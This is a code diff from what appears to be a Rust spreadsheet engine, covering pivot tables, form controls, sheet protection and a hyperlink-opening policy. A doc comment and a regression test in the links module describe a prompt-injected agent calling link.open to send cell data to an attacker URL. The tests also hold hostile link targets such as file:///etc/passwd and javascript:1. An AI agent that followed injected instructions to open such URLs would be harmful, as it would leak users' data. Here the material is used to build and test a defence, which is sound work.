// Relative offsets at the edge of i64 fall off the sheet instead of overflowing.
let text = b"ID;P\nC;Y1;X1;K0;ER[9223372036854775807]C\nC;Y2;X1;K0;ER[-9223372036854775808]C[-9223372036854775808]\nE\n";
assert!(open_bytes("offsets.slk", text).is_ok());
// Width records over every column, many times over: the import keeps a bounded number.
let mut flood = b"ID;P\n".to_vec();
for _ in 0..5000 {
flood.extend_from_slice(b"F;W1 16384 12\n");
}
flood.extend_from_slice(b"C;Y1;X1;K1\nE\n");
let (wb, _) = open_bytes("widths.slk", &flood).unwrap();
assert_eq!(wb.sheet(0).unwrap().value(CellRef::parse("A1").unwrap()), gridcraft_core::Value::Number(1.0));
}
+3
View File
@@ -514,6 +514,9 @@ pub struct Session {
/// Review › Notes › Show All Notes: every note is displayed. An application display setting
/// (like Excel's comment indicator option), so it's not saved in the file.
pub show_all_notes: bool,
/// Whether `link.open` may open web and e-mail addresses without the user's confirmation
/// (#2181). Host code sets it; no command does.
pub link_policy: links::LinkPolicy,
/// Open undo groups, innermost last.
groups: Vec<OpenGroup>,
next_group: u64,
+42
View File
@@ -2,8 +2,50 @@
//! somebody sent), so it is hostile input: only `http`, `https` and `mailto` ever leave the
//! workbook for the system; `file:`, `smb:`, UNC paths, custom URL handlers, `javascript:` and
//! the like are refused. Everything without a scheme stays an in-workbook reference.
//!
//! Opening an allowed address also needs the user's say-so (#2181): `link.open` is reachable by
//! the control channel, the CLI, MCP and workbook scripts, so a prompt-injected agent could open
//! `https://attacker/?d=<cell data>`. Under the default [`LinkPolicy::Confirm`] the command refuses
//! external addresses; only the host, after showing the address and getting OK from the user,
//! opens one through [`crate::Session::open_confirmed_link`], which no command reaches.
use gridcraft_core::RangeRef;
use serde_json::{Value as Json, json};
use crate::{EngineError, Result, Session, UiRequest};
/// Whether `link.open` may hand an external (`http`/`https`/`mailto`) address to the host without
/// asking. Set by the host in code, never by a command, so a programmatic caller can't widen it.
#[derive(Clone, Copy, Debug, Default, PartialEq, Eq)]
pub enum LinkPolicy {
/// `link.open` refuses external addresses; the user opens them by clicking the link, which
/// asks first ([`Session::open_confirmed_link`]). References still navigate.
#[default]
Confirm,
/// The host trusts every caller of this session (an embedding that vets requests itself):
/// `link.open` opens allowed addresses directly. Disallowed schemes stay refused.
Allow,
}
/// The error a programmatic `link.open` of a web or e-mail address returns.
pub const NEEDS_CONFIRMATION: &str = "Web and e-mail links open only when the user clicks them and confirms; a command can't open them.";
impl Session {
/// Opens a link the user has just confirmed in the host's "Open Hyperlink" prompt: an allowed
/// address goes to the host (`UiRequest::OpenUrl`), a reference selects, anything else is
/// refused ([`classify`]). Not a command: only host code that showed the user this exact
/// address may call it.
pub fn open_confirmed_link(&mut self, target: &str) -> Result<Json> {
match classify(target) {
LinkKind::Internal(r) => self.execute("edit.goTo", json!({"reference": r.trim_start_matches('#')})),
LinkKind::External(u) => {
self.ui_requests.push(UiRequest::OpenUrl(u.clone()));
Ok(json!({"opened": u}))
}
LinkKind::Refused(why) => Err(EngineError::Other(why)),
}
}
}
/// What a link target is.
#[derive(Clone, Debug, PartialEq, Eq)]
+2
View File
@@ -38,6 +38,7 @@ const DENIED: &[(&str, &str)] = &[
("view.newWindow", "macros don't open, hide or show windows"),
("view.hideWindow", "macros don't open, hide or show windows"),
("view.unhideWindow", "macros don't open, hide or show windows"),
("control.press", "macros don't press form controls"),
];
/// Commands under a denied prefix that only change the workbook.
@@ -112,6 +113,7 @@ mod tests {
"view.newWindow",
"view.hideWindow",
"view.unhideWindow",
"control.press",
] {
assert!(matches!(macro_policy(id, &none, Trust::Local), Policy::Deny(_)), "{id}");
assert!(matches!(macro_policy(id, &path, Trust::FromFile), Policy::Deny(_)), "{id}");
+31 -6
View File
@@ -23,7 +23,7 @@ use std::sync::Arc;
use gridcraft_core::{CellRef, RangeRef, Value};
use gridcraft_formula::adjust::Edit;
use gridcraft_model::{Cell, CompareOp, InputKind, Macro, OnConflict, RepeatOf, Sheet, Step, StepKind, Workbook};
use gridcraft_model::{Cell, CompareOp, InputKind, MAX_MACRO_REF, Macro, OnConflict, RepeatOf, Sheet, Step, StepKind, Workbook};
use serde::Serialize;
use serde_json::{Value as Json, json};
@@ -539,7 +539,8 @@ impl Guard {
}
objects += deleted(&ss.charts, &ps.charts, &sa.charts, |o| o.id)
+ deleted(&ss.images, &ps.images, &sa.images, |o| o.id)
+ deleted(&ss.shapes, &ps.shapes, &sa.shapes, |o| o.id);
+ deleted(&ss.shapes, &ps.shapes, &sa.shapes, |o| o.id)
+ deleted(&ss.controls, &ps.controls, &sa.controls, |o| o.id);
}
if objects > 0 {
parts.push(format!("{objects} object{}", if objects == 1 { "" } else { "s" }));
@@ -1285,7 +1286,12 @@ fn objects(b: &Sheet, a: &Sheet) -> (usize, usize, usize) {
let changed = b.iter().filter(|x| a.iter().any(|y| id(y) == id(x) && y != *x)).count();
(added, changed, removed)
}
let parts = [count(&b.charts, &a.charts, |o| o.id), count(&b.images, &a.images, |o| o.id), count(&b.shapes, &a.shapes, |o| o.id)];
let parts = [
count(&b.charts, &a.charts, |o| o.id),
count(&b.images, &a.images, |o| o.id),
count(&b.shapes, &a.shapes, |o| o.id),
count(&b.controls, &a.controls, |o| o.id),
];
parts.iter().fold((0, 0, 0), |t, p| (t.0 + p.0, t.1 + p.1, t.2 + p.2))
}
@@ -1393,6 +1399,7 @@ pub fn begin(s: &mut Session, name: &str, p: &Json) -> Result<Begun> {
check_params(p, &m)?;
let asks = gate(&m, trust)?;
approve(s, &m, doc, &asks, p.get("approve").and_then(Json::as_bool).unwrap_or(false))?;
let m = with_output(m, p);
let prepared = prepare(s, &m, p.get("inputs"))?;
let rule = conflict_rule(p, &m)?;
let time_limit_ms = time_limit(p);
@@ -1493,9 +1500,21 @@ pub fn run(s: &mut Session, name: &str, p: &Json) -> Result<Json> {
})
}
/// `m` with the run's `output` (a form button that sends the output elsewhere) in place of its own
/// output anchor, after the policy and the approval, which go by the macro as it is stored. The
/// anchor is resolved and checked by [`prepare`] like the macro's own, and the footprint, the
/// conflict rule and the per-step guard all work on the cells it names.
fn with_output(mut m: Macro, p: &Json) -> Macro {
if let Some(o) = p.get("output").and_then(Json::as_str).map(str::trim).filter(|o| !o.is_empty()) {
m.output.anchor = Some(o.to_string());
}
m
}
/// Refuses run parameters that would otherwise be ignored: an input the macro doesn't have, an
/// input given as something other than reference text, and `onConflict`, `overwrite`, `approve`
/// or `timeLimit` of the wrong kind (`null` counts as not given).
/// input given as something other than reference text, `onConflict`, `overwrite`, `approve` or
/// `timeLimit` of the wrong kind, and an `output` that isn't reference text of at most
/// `MAX_MACRO_REF` characters (`null` counts as not given).
pub fn check_params(p: &Json, m: &Macro) -> Result<()> {
let refuse = |msg: String| Err(EngineError::Other(format!("Macro '{}': {msg}", m.name)));
let names = || m.inputs.iter().map(|i| i.name.clone()).collect::<Vec<_>>().join(", ");
@@ -1528,6 +1547,12 @@ pub fn check_params(p: &Json, m: &Macro) -> Result<()> {
return refuse(format!("`{k}` must be true or false."));
}
}
if let Some(o) = given("output") {
let ok = o.as_str().map(str::trim).is_some_and(|t| !t.is_empty() && t.chars().count() <= MAX_MACRO_REF && !t.chars().any(char::is_control));
if !ok {
return refuse(format!("`output` must be reference text of at most {MAX_MACRO_REF} characters, such as \"F2\" or \"Sheet2!F2\"."));
}
}
if given("timeLimit").is_some_and(|v| !v.as_f64().is_some_and(|t| t > 0.0)) {
return refuse("`timeLimit` must be a number of seconds above 0.".into());
}
@@ -1604,7 +1629,7 @@ pub fn check(s: &mut Session, name: &str, p: &Json) -> Result<Json> {
// Nothing from an unapproved macro runs, not even in a dry run.
out["needsApproval"] = json!(asks);
}
let prepared = match prepare(s, &m, p.get("inputs")) {
let prepared = match prepare(s, &with_output(m, p), p.get("inputs")) {
Ok(pr) => pr,
Err(e) => return refused(out, e.to_string()),
};
+21 -12
View File
@@ -77,6 +77,8 @@ struct AggregateInput<'a> {
extra: &'a [usize],
filters: &'a [(usize, &'a PivotFilter, PivotDateGroup, bool)],
filter_fmts: &'a [String],
/// Each filter's selected labels, ASCII-lowercased, so a record's test is one probe.
filter_sets: &'a [Option<HashSet<String>>],
row_fmts: &'a [String],
col_fmts: &'a [String],
empty: bool,
@@ -99,10 +101,10 @@ fn aggregate_record(
ri: usize,
rec: &[Value],
) -> Result<(), String> {
for ((c, field, group, _), fmt) in input.filters.iter().zip(input.filter_fmts) {
if let Some(selected) = &field.selected {
for (((c, _, group, _), fmt), selected) in input.filters.iter().zip(input.filter_fmts).zip(input.filter_sets) {
if let Some(selected) = selected {
let label = item_label(input.wb, rec.get(*c).unwrap_or(&Value::Empty), *group, fmt);
if !selected.iter().any(|value| value.eq_ignore_ascii_case(&label)) {
if !selected.contains(&label.to_ascii_lowercase()) {
return Ok(());
}
}
@@ -355,15 +357,19 @@ fn ranked_value(raw: Value, lookup: &ValueLookup<'_>, context: &ShowContext<'_>)
let Some((_, parent)) = context.row_path.split_last() else { return Value::Empty };
let Some(me) = raw.as_f64() else { return raw };
let siblings = context.siblings.get(parent).cloned().unwrap_or_default();
let mut rank = 1u64;
for sibling in siblings {
let mut path = parent.to_vec();
path.push(sibling);
if number(&lookup.get(&path, context.col_path, context.value_index)).is_some_and(|value| value > me) {
rank += 1;
}
}
Value::number(rank as f64)
// Excel's ranks are dense: ties share a rank and the next value takes the next one
// (5, 4, 3, 3, 4 rank 1, 2, 3, 3, 2), so count the distinct larger values.
let mut larger: Vec<f64> = siblings
.into_iter()
.filter_map(|sibling| {
let mut path = parent.to_vec();
path.push(sibling);
number(&lookup.get(&path, context.col_path, context.value_index)).filter(|value| *value > me)
})
.collect();
larger.sort_by(f64::total_cmp);
larger.dedup();
Value::number(larger.len() as f64 + 1.0)
}
fn show_value(definition: &PivotValue, raw: Value, lookup: &ValueLookup<'_>, context: &ShowContext<'_>) -> Value {
@@ -471,6 +477,8 @@ pub(super) fn compute_from(wb: &Workbook, pt: &PivotTable, src: &Source, mut pro
// ---- aggregate
let filter_fmts: Vec<String> = filters.iter().map(|f| fmt_of(f.0)).collect();
let filter_sets: Vec<Option<HashSet<String>>> =
filters.iter().map(|(_, field, _, _)| field.selected.as_ref().map(|s| s.iter().map(|v| v.to_ascii_lowercase()).collect())).collect();
let row_fmts: Vec<String> = rows.iter().map(|(c, _)| fmt_of(*c)).collect();
let col_fmts: Vec<String> = cols.iter().map(|(c, _)| fmt_of(*c)).collect();
let aggregate = aggregate_source(
@@ -484,6 +492,7 @@ pub(super) fn compute_from(wb: &Workbook, pt: &PivotTable, src: &Source, mut pro
extra: &extra,
filters: &filters,
filter_fmts: &filter_fmts,
filter_sets: &filter_sets,
row_fmts: &row_fmts,
col_fmts: &col_fmts,
empty,
+3 -2
View File
@@ -197,7 +197,8 @@ impl Acc {
}
}
/// Excel's caption verb for a function ("Sum of Sales").
/// Excel's caption verb for a function ("Sum of Sales"). Count Numbers is captioned "Count of
/// Sales", as Excel names it and as the XLSX reader names a value field saved without a name.
pub fn func_caption(f: PivotFunc) -> &'static str {
match f {
PivotFunc::Sum => "Sum",
@@ -206,7 +207,7 @@ pub fn func_caption(f: PivotFunc) -> &'static str {
PivotFunc::Max => "Max",
PivotFunc::Min => "Min",
PivotFunc::Product => "Product",
PivotFunc::CountNumbers => "Count Numbers",
PivotFunc::CountNumbers => "Count",
PivotFunc::StdDev => "StdDev",
PivotFunc::StdDevP => "StdDevp",
PivotFunc::Var => "Var",
+26
View File
@@ -128,6 +128,32 @@ impl Selection {
}
}
impl Selection {
/// Ctrl+. (Next Corner of Selection): the active cell moves clockwise to the next corner of
/// the current area (top-left, top-right, bottom-right, bottom-left) and becomes the anchor,
/// so Shift+arrows then move the opposite corner. The area stays selected. From a cell that
/// isn't a corner the next corner is the top-left one; a single cell stays where it is.
pub fn next_corner(&mut self) {
self.next_corner_by(Some);
}
/// [`Selection::next_corner`] where `stop` says where each corner takes the active cell: the
/// top-left cell of a merged cell the corner is in, or `None` for a corner that can't be
/// selected (it is skipped). Corners that end up on the active cell are one stop with it.
pub fn next_corner_by(&mut self, stop: impl Fn(CellRef) -> Option<CellRef>) {
let r = self.current();
let corners = [r.start, CellRef::new(r.start.row, r.end.col), r.end, CellRef::new(r.end.row, r.start.col)];
let next = match corners.iter().rposition(|c| stop(*c) == Some(self.active)) {
Some(i) => (1..=4).filter_map(|k| corners.get((i + k) % 4)).filter_map(|c| stop(*c)).find(|c| *c != self.active),
None => corners.iter().find_map(|c| stop(*c)),
};
if let Some(next) = next {
self.active = next;
self.anchor = next;
}
}
}
/// Ctrl+arrow: jump to the edge of the current data region (Excel's End mode).
pub fn jump(sheet: &Sheet, from: CellRef, dr: i64, dc: i64) -> CellRef {
if dr == 0 && dc == 0 {
+253
View File
@@ -3237,6 +3237,21 @@ fn every_chart_kind_survives_xlsx() {
}
}
#[test]
fn chart_set_doughnut_hole_and_angle() {
let mut s = s();
chart_data(&mut s);
s.execute("insert.chart", json!({"type": "doughnut", "range": "A1:B7"})).unwrap();
s.execute("chart.set", json!({"holeSize": 5, "firstSliceAngle": 400})).unwrap();
s.execute("chart.set", json!({"holeSize": 200})).unwrap();
let c = s.doc().unwrap().wb.active().unwrap().charts[0].clone();
assert_eq!((c.hole_size, c.first_slice_angle), (90, 40));
s.execute("chart.set", json!({"holeSize": 25, "firstSliceAngle": 180})).unwrap();
reopen(&mut s);
let c = &s.doc().unwrap().wb.active().unwrap().charts[0];
assert_eq!((c.kind, c.hole_size, c.first_slice_angle), (gridcraft_model::ChartKind::Doughnut, 25, 180));
}
#[test]
fn scatter_of_two_columns_is_one_series_with_the_first_as_x() {
let mut s = s();
@@ -3975,6 +3990,24 @@ fn fill_series_weekday_out_of_range_step_errors() {
assert_eq!(v(&s, "A2"), Value::Empty);
}
/// A step of a million weekdays moves whole weeks at a time instead of visiting every day, and
/// lands where counting day by day would.
#[test]
fn fill_series_weekday_large_step_is_arithmetic() {
let mut s = s();
// 45005 is Monday 20 March 2023; five weekdays on from a Monday is the next Monday.
s.execute("cell.set", json!({"cell": "A1", "input": "45005"})).unwrap();
s.execute("edit.fillSeries", json!({"range": "A1:A3", "direction": "columns", "type": "date", "dateUnit": "weekday", "step": 1_000_000}))
.unwrap();
assert_eq!(v(&s, "A2"), Value::Number(45005.0 + 1_400_000.0));
assert_eq!(v(&s, "A3"), Value::Number(45005.0 + 2_800_000.0));
s.execute("cell.set", json!({"cell": "B1", "input": "45009"})).unwrap();
s.execute("edit.fillSeries", json!({"range": "B1:B3", "direction": "columns", "type": "date", "dateUnit": "weekday", "step": -1})).unwrap();
// Friday 24 March 2023 back one weekday at a time: Thursday, Wednesday.
assert_eq!(v(&s, "B2"), Value::Number(45008.0));
assert_eq!(v(&s, "B3"), Value::Number(45007.0));
}
#[test]
fn fill_series_month_leap_year() {
let s = series_date("2028-01-31", "A1:A3", "month");
@@ -4662,12 +4695,57 @@ fn link_open_refuses_every_scheme_but_http_https_and_mailto() {
}
assert!(s.execute("link.open", json!({"cell": "A1"})).is_err());
assert!(s.take_ui_requests().is_empty());
// A host's `Allow` policy opens web and e-mail addresses directly, and nothing else.
s.link_policy = crate::links::LinkPolicy::Allow;
for url in ["file:///etc/passwd", "smb://h/s", "\\\\h\\s", "JAVASCRIPT:1"] {
assert!(s.execute("link.open", json!({"url": url})).is_err(), "{url}");
}
assert!(s.take_ui_requests().is_empty());
s.execute("link.open", json!({"url": "HTTPS://example.org/a"})).unwrap();
assert_eq!(s.take_ui_requests(), vec![crate::UiRequest::OpenUrl("HTTPS://example.org/a".into())]);
s.execute("link.open", json!({"url": "B2"})).unwrap();
assert!(s.take_ui_requests().is_empty());
}
/// #2181: `link.open` is reachable by the control channel, CLI, MCP and scripts, so by default it
/// opens no web or e-mail address (an exfiltration channel: `https://attacker/?d=<cell data>`)
/// and asks for no dialog either; only the host's confirmed path opens one.
#[test]
fn programmatic_link_open_never_opens_an_external_address_without_confirmation() {
let mut s = s();
assert_eq!(s.link_policy, crate::links::LinkPolicy::Confirm, "confirmation is the default");
s.execute("cell.set", json!({"cell": "A1", "input": "secret"})).unwrap();
s.execute("insert.link", json!({"cell": "B1", "target": "https://attacker.example/?d=secret"})).unwrap();
s.execute("insert.link", json!({"cell": "C1", "target": "mailto:x@attacker.example"})).unwrap();
s.take_ui_requests();
for p in [
json!({"url": "https://attacker.example/?d=secret"}),
json!({"url": "http://attacker.example"}),
json!({"target": "MAILTO:x@attacker.example"}),
json!({"cell": "B1"}),
json!({"cell": "C1"}),
] {
let e = s.execute("link.open", p.clone()).unwrap_err().to_string();
assert!(e.contains(crate::links::NEEDS_CONFIRMATION), "{p}: {e}");
}
assert!(s.take_ui_requests().is_empty(), "no OpenUrl and no dialog for a programmatic caller");
assert!(s.execute_headless("link.open", json!({"cell": "B1"})).is_err());
assert!(s.take_ui_requests().is_empty());
// References still navigate.
s.execute("link.open", json!({"url": "A1"})).unwrap();
assert!(s.take_ui_requests().is_empty());
// The host's confirmed path opens the allowed address, and still refuses every other scheme.
assert_eq!(s.open_confirmed_link(" https://example.org/a ").unwrap(), json!({"opened": "https://example.org/a"}));
assert_eq!(s.take_ui_requests(), vec![crate::UiRequest::OpenUrl("https://example.org/a".into())]);
for url in ["file:///etc/passwd", "\\\\h\\s", "javascript:1", "x-custom://a", "\u{1}https://a.example"] {
assert!(s.open_confirmed_link(url).is_err(), "{url:?}");
}
assert!(s.take_ui_requests().is_empty());
s.open_confirmed_link("Sheet1!C3").unwrap();
assert_eq!(s.doc().unwrap().selection.active, CellRef::new(2, 2));
}
#[test]
fn subtotal_109_recalculates_when_row_height_or_autofit_reveals_rows() {
let mut s = s();
@@ -5351,6 +5429,7 @@ fn a_script_cannot_switch_windows() {
assert_eq!(v(&s, "A1"), Value::number(2.0));
}
mod controls;
mod equation;
mod macros;
mod objects;
@@ -5457,3 +5536,177 @@ fn a_view_kept_through_redo_doesnt_make_the_saved_workbook_dirty() {
assert_eq!(d.wb.active().unwrap().view, gridcraft_model::SheetViewMode::PageBreakPreview);
assert!(!d.is_dirty(), "back at the saved edits, the view alone isn't a change");
}
#[test]
fn workbook_display_options_are_commands() {
// #3101: Show sheet tabs / horizontal / vertical scroll bar, toggling without `on`, saved with
// the workbook and undoable.
let mut s = Session::new();
s.new_workbook();
let view = |s: &Session| s.doc().unwrap().wb.view;
assert_eq!(s.execute("view.showSheetTabs", json!({})).unwrap()["on"], json!(false));
assert_eq!(s.execute("view.showHorizontalScrollBar", json!({"on": false})).unwrap()["on"], json!(false));
assert_eq!(s.execute("view.showVerticalScrollBar", json!({"on": false})).unwrap()["on"], json!(false));
let v = view(&s);
assert!(!v.show_sheet_tabs && !v.show_horizontal_scroll && !v.show_vertical_scroll);
let (back, _) = gridcraft_xlsx::read_xlsx(&gridcraft_xlsx::write_xlsx(&s.doc().unwrap().wb).unwrap()).unwrap();
assert_eq!(back.view, v, "saved with the workbook");
s.execute("edit.undo", json!({})).unwrap();
assert!(view(&s).show_vertical_scroll);
assert_eq!(s.execute("view.showSheetTabs", json!({})).unwrap()["on"], json!(true), "toggles back");
}
/// A link from a file can sit on a cell with nothing stored in it, past the used range (or on a
/// sheet with no cells at all). Clear Hyperlinks, and Remove Hyperlink in the cell menu, must
/// still remove it.
#[test]
fn clear_hyperlinks_removes_links_on_cells_with_nothing_stored() {
let mut s = s();
s.execute("cell.set", json!({"cell": "A1", "input": "x"})).unwrap();
let link = || gridcraft_model::Hyperlink { target: "https://example.com".into(), tooltip: None, external: true };
let (a1, c5) = (CellRef::parse("A1").unwrap(), CellRef::parse("C5").unwrap());
std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap().hyperlinks.insert(c5, link());
s.execute("edit.clearHyperlinks", json!({"range": "C5"})).unwrap();
assert!(!s.doc().unwrap().wb.active().unwrap().hyperlinks.contains_key(&c5), "the link past the used range is removed");
// No cells at all.
s.execute("edit.clearAll", json!({"range": "A1"})).unwrap();
std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap().hyperlinks.insert(a1, link());
s.execute("edit.clearHyperlinks", json!({"range": "A1"})).unwrap();
assert!(!s.doc().unwrap().wb.active().unwrap().hyperlinks.contains_key(&a1), "the link on an empty sheet is removed");
}
/// Notes and links aren't cell contents, so the cell comparison that guards a protected sheet
/// doesn't see them go: Clear Hyperlinks and Clear Comments refuse locked cells themselves,
/// stored or not.
#[test]
fn clearing_links_and_notes_respects_sheet_protection() {
let mut s = s();
s.execute("cell.set", json!({"cell": "A1", "input": "x"})).unwrap();
let link = || gridcraft_model::Hyperlink { target: "https://example.com".into(), tooltip: None, external: true };
let (a1, c5) = (CellRef::parse("A1").unwrap(), CellRef::parse("C5").unwrap());
{
let sh = std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap();
sh.hyperlinks.insert(a1, link());
sh.hyperlinks.insert(c5, link());
}
s.execute("review.newNote", json!({"cell": "C5", "text": "note", "author": "Example"})).unwrap();
s.execute("review.protectSheet", json!({})).unwrap();
for (cmd, range) in [("edit.clearHyperlinks", "A1"), ("edit.clearHyperlinks", "C5"), ("edit.clearComments", "C5")] {
assert!(s.execute(cmd, json!({"range": range})).is_err(), "{cmd} on locked {range}");
}
let sh = s.doc().unwrap().wb.active().unwrap().clone();
assert!(sh.hyperlinks.contains_key(&a1) && sh.hyperlinks.contains_key(&c5) && sh.comments.contains_key(&c5), "nothing removed");
s.execute("review.unprotectSheet", json!({})).unwrap();
s.execute("edit.clearHyperlinks", json!({"range": "A1:C5"})).unwrap();
s.execute("edit.clearComments", json!({"range": "C5"})).unwrap();
let sh = s.doc().unwrap().wb.active().unwrap().clone();
assert!(sh.hyperlinks.is_empty() && sh.comments.is_empty());
}
/// A removed link or note is a change to its cell even when nothing is stored there, so a
/// recorded macro's footprint lists it.
#[test]
fn clearing_links_and_notes_records_their_cells() {
let mut s = s();
let c5 = CellRef::parse("C5").unwrap();
std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb)
.sheet_mut(0)
.unwrap()
.hyperlinks
.insert(c5, gridcraft_model::Hyperlink { target: "https://example.com".into(), tooltip: None, external: true });
s.execute("review.newNote", json!({"cell": "D7", "text": "note", "author": "Example"})).unwrap();
s.doc_mut().unwrap().touched = Some(Vec::new());
s.execute("edit.clearHyperlinks", json!({"range": "C5"})).unwrap();
s.execute("edit.clearComments", json!({"range": "D7"})).unwrap();
let touched: Vec<String> = s.doc().unwrap().touched.clone().unwrap_or_default().into_iter().map(|(_, c)| c.a1()).collect();
assert!(touched.contains(&"C5".to_string()) && touched.contains(&"D7".to_string()), "{touched:?}");
}
/// The locked-cell check for notes and links keeps Allow Edit Ranges: a range without a password
/// allows them at once, one with a password once it's unlocked in this session.
#[test]
fn clearing_links_and_notes_keeps_allow_edit_ranges() {
let mut s = s();
s.execute("cell.set", json!({"cell": "A1", "input": "x"})).unwrap();
let link = || gridcraft_model::Hyperlink { target: "https://example.com".into(), tooltip: None, external: true };
let (a1, c5) = (CellRef::parse("A1").unwrap(), CellRef::parse("C5").unwrap());
{
let sh = std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap();
sh.hyperlinks.insert(a1, link());
sh.hyperlinks.insert(c5, link());
}
s.execute("review.newNote", json!({"cell": "C5", "text": "note", "author": "Example"})).unwrap();
// Ranges are added before protecting: a protected sheet refuses `add`.
s.execute("review.allowEditRanges", json!({"action": "add", "title": "Open", "range": "A1"})).unwrap();
s.execute("review.allowEditRanges", json!({"action": "add", "title": "Kept", "range": "C5", "password": "example"})).unwrap();
s.execute("review.protectSheet", json!({})).unwrap();
s.execute("edit.clearHyperlinks", json!({"range": "A1"})).unwrap();
assert!(s.execute("edit.clearComments", json!({"range": "C5"})).is_err(), "a password range stays locked until unlocked");
s.execute("review.allowEditRanges", json!({"action": "unlock", "title": "Kept", "password": "example"})).unwrap();
s.execute("edit.clearHyperlinks", json!({"range": "C5"})).unwrap();
s.execute("edit.clearComments", json!({"range": "C5"})).unwrap();
let sh = s.doc().unwrap().wb.active().unwrap().clone();
assert!(sh.hyperlinks.is_empty() && sh.comments.is_empty());
}
#[test]
fn protected_sheet_refuses_layout_commands_its_permissions_do_not_allow() {
let mut s = s();
s.execute("range.setValues", json!({"range": "A1", "values": [["h"], [1], [2]]})).unwrap();
s.execute("data.filter", json!({"range": "A1:A3"})).unwrap();
s.execute("review.protectSheet", json!({})).unwrap();
for (id, params) in [
("home.rowHeight", json!({"rows": "1:1", "height": 40})),
("home.columnWidth", json!({"cols": "A:A", "width": 80})),
("data.group", json!({"rows": "2:3"})),
("data.showLevels", json!({"rows": 1})),
("data.clearFilter", json!({})),
("data.reapply", json!({})),
("insert.picture", json!({"base64": "iVBORw0KGgo="})),
] {
let err = s.execute(id, params).expect_err(id).to_string();
assert!(err.contains("protected"), "{id}: {err}");
}
// With the permissions ticked the same layout commands run.
s.execute("review.unprotectSheet", json!({})).unwrap();
s.execute("review.protectSheet", json!({"formatRows": true, "formatColumns": true, "autofilter": true})).unwrap();
for (id, params) in [
("home.rowHeight", json!({"rows": "1:1", "height": 40})),
("home.columnWidth", json!({"cols": "A:A", "width": 80})),
("data.reapply", json!({})),
] {
s.execute(id, params).unwrap_or_else(|e| panic!("{id}: {e}"));
}
}
#[test]
fn an_edit_range_limited_to_windows_users_stays_locked() {
use gridcraft_model::EditRange;
let mut s = s();
let a1 = CellRef::parse("A1").unwrap();
let range = |sd: Option<&str>| EditRange {
title: "T".into(),
ranges: vec![gridcraft_core::RangeRef::cell(a1)],
password: None,
security_descriptor: sd.map(str::to_string),
};
let sh = std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap();
sh.edit_ranges.push(range(None));
assert!(crate::cmd::locked_cell_error(sh, a1, &[]).is_none(), "an open range");
sh.edit_ranges = vec![range(Some("D:(A;;GA;;;WD)"))];
assert!(crate::cmd::locked_cell_error(sh, a1, &[]).is_some(), "a user-limited range");
}
#[test]
fn pivot_new_sheet_destination_respects_workbook_structure_protection() {
let mut s = s();
s.execute("range.setValues", json!({"range": "A1", "values": [["Region", "Sales"], ["N", 1], ["S", 2]]})).unwrap();
s.execute("review.protectWorkbook", json!({"on": true})).unwrap();
for dest in ["new", "NEW", " new ", ""] {
assert!(s.execute("insert.pivotTable", json!({"source": "A1:B3", "destination": dest})).is_err(), "destination {dest:?}");
}
assert!(s.execute("insert.pivotTable", json!({"source": "A1:B3", "location": "New"})).is_err());
}
+847
View File
@@ -0,0 +1,847 @@
//! Form controls: buttons, sliders and spin buttons (insert, format, assign, setValue, press).
use gridcraft_core::Value;
use gridcraft_model::{ControlAction, ControlKind, FormControl, MacroInput};
use serde_json::{Value as Json, json};
use super::{s, v};
use crate::{EngineError, Session, Trust};
fn id(r: &Json) -> u64 {
r["control"].as_u64().unwrap()
}
fn control(s: &Session, id: u64) -> FormControl {
s.doc().unwrap().wb.active().unwrap().controls.iter().find(|c| c.id as u64 == id).cloned().unwrap()
}
fn undo_len(s: &Session) -> usize {
s.doc().unwrap().undo.len()
}
fn err(r: crate::Result<Json>) -> String {
r.unwrap_err().to_string()
}
#[test]
fn numbers_are_whole_and_each_rule_has_its_own_error() {
let mut s = s();
let ok = s.execute("insert.slider", json!({"at": "D2", "min": 10, "max": 50, "step": 5, "page": 10})).unwrap();
let c = control(&s, id(&ok));
assert_eq!((c.kind, c.min, c.max, c.step, c.page, c.value), (ControlKind::Slider, 10, 50, 5, 10, 10));
for (p, needle) in [
(json!({"min": 2.5}), "`min` must be a whole number from 0 to 30000"),
(json!({"min": -1}), "`min` must be a whole number"),
(json!({"max": 30001}), "`max` must be a whole number from 0 to 30000"),
(json!({"step": "two"}), "`step` must be a whole number"),
(json!({"max": 1e300}), "`max` must be a whole number"),
(json!({"min": 50, "max": 50}), "Maximum value (50) must be greater than Minimum value (50)"),
(json!({"min": 60, "max": 50}), "must be greater than Minimum"),
(json!({"step": 0}), "Incremental change must be at least 1"),
(json!({"min": 0, "max": 10, "step": 11}), "Incremental change (11) can be at most Maximum minus Minimum (10)"),
(json!({"step": 5, "page": 2}), "Page change (2) must be at least the incremental change (5)"),
(json!({"link": "not a cell"}), "isn't a cell of this workbook"),
(json!({"link": "Nowhere!A1"}), "isn't a cell of this workbook"),
(json!({"link": "A1:B2"}), "isn't a cell"),
] {
let e = err(s.execute("insert.slider", p.clone()));
assert!(e.contains(needle), "{p}: {e}");
}
// A spin button has no page change, so a page below the step is fine.
s.execute("insert.spinButton", json!({"step": 5, "page": 2})).unwrap();
// Numbers in text are numbers.
let n = id(&s.execute("insert.spinButton", json!({"min": "3", "max": "9"})).unwrap());
let c = control(&s, n);
assert_eq!((c.min, c.max, c.value), (3, 9, 3));
// A larger step pulls a slider's default page up with it.
let n = id(&s.execute("insert.slider", json!({"max": 1000, "step": 50})).unwrap());
let c = control(&s, n);
assert_eq!(c.page, 50);
// The model checks the same rules.
let bad = FormControl { kind: ControlKind::Spin, min: 0, max: 30_001, ..Default::default() };
assert!(bad.check_numbers().is_err());
assert!(FormControl { kind: ControlKind::Button, max: 0, ..Default::default() }.check_numbers().is_ok());
}
#[test]
fn set_value_clamps_snaps_and_writes_the_link_as_one_undo_step() {
let mut s = s();
s.execute("cell.set", json!({"cell": "C1", "input": "=B1*2"})).unwrap();
let c = id(&s.execute("insert.slider", json!({"link": "B1", "min": 10, "max": 100, "step": 5})).unwrap());
assert_eq!(control(&s, c).link.as_deref(), Some("$B$1"));
let before = undo_len(&s);
for (given, want) in [(37.0, 35.0), (38.0, 40.0), (-5.0, 10.0), (1e9, 100.0), (99.0, 100.0), (12.4, 10.0)] {
